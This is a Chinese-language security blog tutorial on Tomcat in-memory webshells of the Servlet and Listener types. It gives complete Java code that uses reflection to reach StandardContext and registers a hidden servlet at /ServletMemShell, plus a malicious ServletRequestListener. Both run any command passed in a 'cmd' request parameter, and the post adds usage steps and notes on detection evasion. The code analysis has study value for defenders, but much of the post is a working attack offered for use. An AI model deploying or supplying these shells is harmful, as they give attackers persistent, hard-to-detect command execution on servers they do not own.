Java安全之基於Tomcat的Servlet&Listener內存馬
寫在前面
接之前的Tomcat Filter內存馬文章,前面學習了下Tomcat中Filter型內存馬的構造,下面學習Servlet型的構造,后續並分析一下Godzilla中打入Servlet型內存馬的代碼。
學習之前首先將前面Filter型內存馬做一個簡單的回顧,首先之前構造的Filter型內存馬看網上文章講是指支持Tomcat7以上,原因是因為 javax.servlet.DispatcherType 類是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3。
且在Tomcat7與8中 FilterDef 和 FilterMap 這兩個類所屬的包名不一樣
tomcat 7:
org.apache.catalina.deploy.FilterDef;
org.apache.catalina.deploy.FilterMap;
tomcat 8:
org.apache.tomcat.util.descriptor.web.FilterDef;
org.apache.tomcat.util.descriptor.web.FilterMap;
但是Servlet則是在Tomcat7與8中通用的,而Godzilla的內存馬也是Servlet型內存馬
ServletContext跟StandardContext的關系
Tomcat中的對應的ServletContext實現是ApplicationContext。在Web應用中獲取的ServletContext實際上是ApplicationContextFacade對象,對ApplicationContext進行了封裝,而ApplicationContext實例中又包含了StandardContext實例,以此來獲取操作Tomcat容器內部的一些信息,例如Servlet的注冊等。
Servlet型內存馬構造
還是在ApplicationContext類中,有4個addServlet方法,前三個為重載
最終會走到該addServlet(String servletName, String servletClass, Servlet servlet, Map<String, String> initParams)
方法內,該方法代碼如下。
流程為:首先判斷servletName是否為空,之后從StandardContext中獲取child屬性並轉換為wrapper對象,如果wrapper為空就通過StandardContext的createWrapper方法創建一個Wrapper並通過StandardContext addChid方法將Wrapper添加到StandardContext的屬性Child中。方法最后會返回ApplicationServletRegistration對象
private javax.servlet.ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet, Map<String, String> initParams) throws IllegalStateException {
if (servletName != null && !servletName.equals("")) {
if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) {
throw new IllegalStateException(sm.getString("applicationContext.addServlet.ise", new Object[]{this.getContextPath()}));
} else {
Wrapper wrapper = (Wrapper)this.context.findChild(servletName);
if (wrapper == null) {
wrapper = this.context.createWrapper();
wrapper.setName(servletName);
this.context.addChild(wrapper);
} else if (wrapper.getName() != null && wrapper.getServletClass() != null) {
if (!wrapper.isOverridable()) {
return null;
}
wrapper.setOverridable(false);
}
ServletSecurity annotation = null;
if (servlet == null) {
wrapper.setServletClass(servletClass);
Class<?> clazz = Introspection.loadClass(this.context, servletClass);
if (clazz != null) {
annotation = (ServletSecurity)clazz.getAnnotation(ServletSecurity.class);
}
} else {
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServlet(servlet);
if (this.context.wasCreatedDynamicServlet(servlet)) {
annotation = (ServletSecurity)servlet.getClass().getAnnotation(ServletSecurity.class);
}
}
if (initParams != null) {
Iterator var9 = initParams.entrySet().iterator();
while(var9.hasNext()) {
Entry<String, String> initParam = (Entry)var9.next();
wrapper.addInitParameter((String)initParam.getKey(), (String)initParam.getValue());
}
}
javax.servlet.ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, this.context);
if (annotation != null) {
registration.setServletSecurity(new ServletSecurityElement(annotation));
}
return registration;
}
} else {
throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", new Object[]{servletName}));
}
}
先構造出Servlet型內存馬,代碼參照su18師傅的文章,先照搬過來,然后再去分析代碼,最后對代碼存在的疑問做一個簡單的分析。
其實大體上流程與Filter型差不多,只不過這次需要動態注冊Servlet而不是Filter,所以在動態注冊哪里代碼進行一些改動即可
@WebServlet("/addServletMemShell")
public class ServletMemShell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 獲取ServletContext
final ServletContext servletContext = req.getServletContext();
Field appctx = null;
try {
// 獲取ApplicationContext
appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 獲取StandardContext
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String ServletName = "ServletMemShell";
// 創建一個與程序現有Servlet不重名的Servlet
if (servletContext.getServletRegistration(ServletName) == null){
HttpServlet httpServlet = new HttpServlet(){
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd!=null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
int len;
while ((len = bufferedInputStream.read())!=-1){
resp.getWriter().write(len);
}
}
}
};
// Standard createWrapper 拿到Wrapper封裝Servlet
Wrapper wrapper = standardContext.createWrapper();
//在Wrapper中設置ServletName
wrapper.setName(ServletName);
// 注意下面這一行代碼
wrapper.setLoadOnStartup(1);
wrapper.setServlet(httpServlet);
wrapper.setServletClass(httpServlet.getClass().getName());
// 向children中添加wrapper
standardContext.addChild(wrapper);
// 設置ServletMappings
standardContext.addServletMappingDecoded("/ServletMemShell", ServletName);
resp.getWriter().write("Inject Tomcat ServletMemShell Success!");
}
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
}
依舊是先訪問上面構造的Servlet,之后會幫我們注冊一個Servlet內存馬。
Servlet內存馬創建分析
其實關鍵部分就是下面這段代碼
// Standard createWrapper 拿到Wrapper封裝Servlet
Wrapper wrapper = standardContext.createWrapper();
//在Wrapper中設置ServletName
wrapper.setName(ServletName);
wrapper.setLoadOnStartup(1);
wrapper.setServlet(httpServlet);
wrapper.setServletClass(httpServlet.getClass().getName());
// 向children中添加wrapper
standardContext.addChild(wrapper);
// 設置ServletMappings
standardContext.addServletMappingDecoded("/ServletMemShell", ServletName);
個人認為與filter型不同點在於wrapper.setLoadOnStartup(1);
,那么loadOnStartup
在什么地方被調用呢?回看了下調用棧,發現在StandardContext#startInternal方法中,依次調用了listenerStart
、filterStart
、loadOnStartup
方法,
跟一下loadOnStartup
方法,前面是獲取children屬性並進行遍歷
getLoadOnStartup()代碼如下,這是StandardWrapper的屬性loadOnStartup的get方法,依據條件,我們的代碼中先通過 wrapper.setLoadOnStartup(1);
將其設置為1,那最后這里返回的值也是1.
也因此會進入下面的if中最后調用StandardWrapper#load方法,在load方法中進行Servlet的加載與初始化。
總體的調用棧如下,不過中間被省略了不少,比如addChild,chidStart,addServlet方法都有經過,感興趣的師傅可以自己調試下
那上面是針對於存在loadOnStartup屬性的Servlet。
有意思的來了,可以嘗試把我們上面的wrapper.setLoadOnStartup(1);
這行代碼去掉,測試后發現依然不影響Servlet內存馬的注入。: )
這里涉及到Servlet的一個加載問題:
針對配置了 load-on-startup 屬性的 Servlet 而言,其它一般 Servlet 的加載和初始化會推遲到真正請求訪問 web 應用而第一次調用該 Servlet 時
在非配置load-on-startup 屬性的 Servlet 而言,是不會在系統加載的時候創建具體的處理實例對象,依舊還只是個配置記錄在Context中。真正的創建則是在第一次被請求的時候,才會實例化
那疑問就解決了,wrapper.setLoadOnStartup(1);
只是影響Servlet在何時進行加載,而不影響他是否加載。
那沒有loadOnStartup屬性的Servlet怎么加載的呢?
回到調用棧中StandardWrapperValve#invoke方法中,重點是下面這一行
跟進去看實現,所以是在StandardWrapper#allocate方法中進行的Servlet加載與初始化
綜上,那其實創建Servlet的流程就不難理解了。
依舊是獲取到StandardContext,創建Servlet的封裝類Wrapper,也就是StandardWrapper,后續設置ServletNam與ServletClass並指定類與ServletMapping ,類似於Web.xml中的配置就是
<servlet>
<servlet-name> </servlet-name>
<servlet-class> </servlet-class>
</servlet>
<servlet-mapping>
<servlet-name> </servlet-name>
<url-pattern> </url-pattern>
</servlet-mapping>
后續就是添加到child屬性中,等待第一次訪問該Servlet時讓Tomcat去加載就好了,或者設置了wrapper.setLoadOnStartup(1);
可以直接在系統加載的時候創建Servlet
Listener型內存馬
Listener 可以譯為監聽器,監聽器用來監聽對象或者流程的創建與銷毀,通過 Listener,可以自動觸發一些操作,因此依靠它也可以完成內存馬的實現。
在應用中可能調用的監聽器如下:
- ServletContextListener:用於監聽整個 Servlet 上下文(創建、銷毀)
- ServletContextAttributeListener:對 Servlet 上下文屬性進行監聽(增刪改屬性)
- ServletRequestListener:對 Request 請求進行監聽(創建、銷毀)
- ServletRequestAttributeListener:對 Request 屬性進行監聽(增刪改屬性)
- javax.servlet.http.HttpSessionListener:對 Session 整體狀態的監聽
- javax.servlet.http.HttpSessionAttributeListener:對 Session 屬性的監聽
Tomcat中保存的Listener對象在 StandardContext 的 applicationEventListenersObjects 屬性中,同時StandardContext存在addApplicationEventListener
方法來添加Listener。
本次用到的是ServletRequestListener
接口,該接口提供兩個方法requestInitialized
和 requestDestroye
分別在Request對象創建和銷毀的時候自動觸發執行方法內的內容,而該方法接受的參數為ServletRequestEvent對象,其中可以獲取ServletContext 對象和 ServletRequest 對象。
構造惡意Listener
public class ListenerMemShell implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
RequestFacade request = (RequestFacade) sre.getServletRequest();
try {
Field req = request.getClass().getDeclaredField("request");
req.setAccessible(true);
Request request1 = (Request) req.get(request);
Response response = request1.getResponse();
String cmd = request1.getParameter("cmd");
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
int len;
while ((len = is.read()) != -1){
response.getWriter().write(len);
}
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
可以寫一些工具類對上面的惡意Listener做一些處理,比如將class文件轉成byte再轉base64之后在Servlet中解碼加載字節碼
@WebServlet("/addListenerMemShell")
public class ListenerMemShell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 獲取ServletContext
final ServletContext servletContext = req.getServletContext();
Field appctx = null;
try {
// 獲取ApplicationContext
appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 獲取StandardContext
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
standardContext.addApplicationEventListener(Utils.getClass(Utils.LISTENER_CLASS_STRING1).newInstance());
resp.getWriter().write("Success For Add Listnenr CmdMemShell !");
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
}
先訪問addListenerMemShell
之后隨便訪問個Servlet在參數中輸入想要執行的命令即可。
End
其實在Tomcat環境下,相較於Servlet,本人更喜歡Filter和Listener型的內存馬,主要是在於Filter、Listener的訪問都在Servlet之前,也就避免了一些可能會出現玄學和花里胡哨的問題。而關於Listener,玩法應該還有很多,只是看到的文章比較少可能以后會更多的去嘗試Listener型內存馬,比如打behinder3和Godzilla。
后面學習下通過反序列化打內存馬的姿勢,集成上打哥斯拉和behinder的內存馬,順帶改造下yso,以及將反序列化命令執行與回顯鏈進行縫合,也可以集成到yso里。包括近期有看到關於filter的處理做到簡單的免殺,以及不同容器的內存馬注入和Tomcat下StandardContext的獲取做到6789版本通殺,會放在后面一點點研究。
Reference
http://www.xiao-hang.xyz/2019/05/16/Tomcat源碼分析-三-WEB加載原理-二/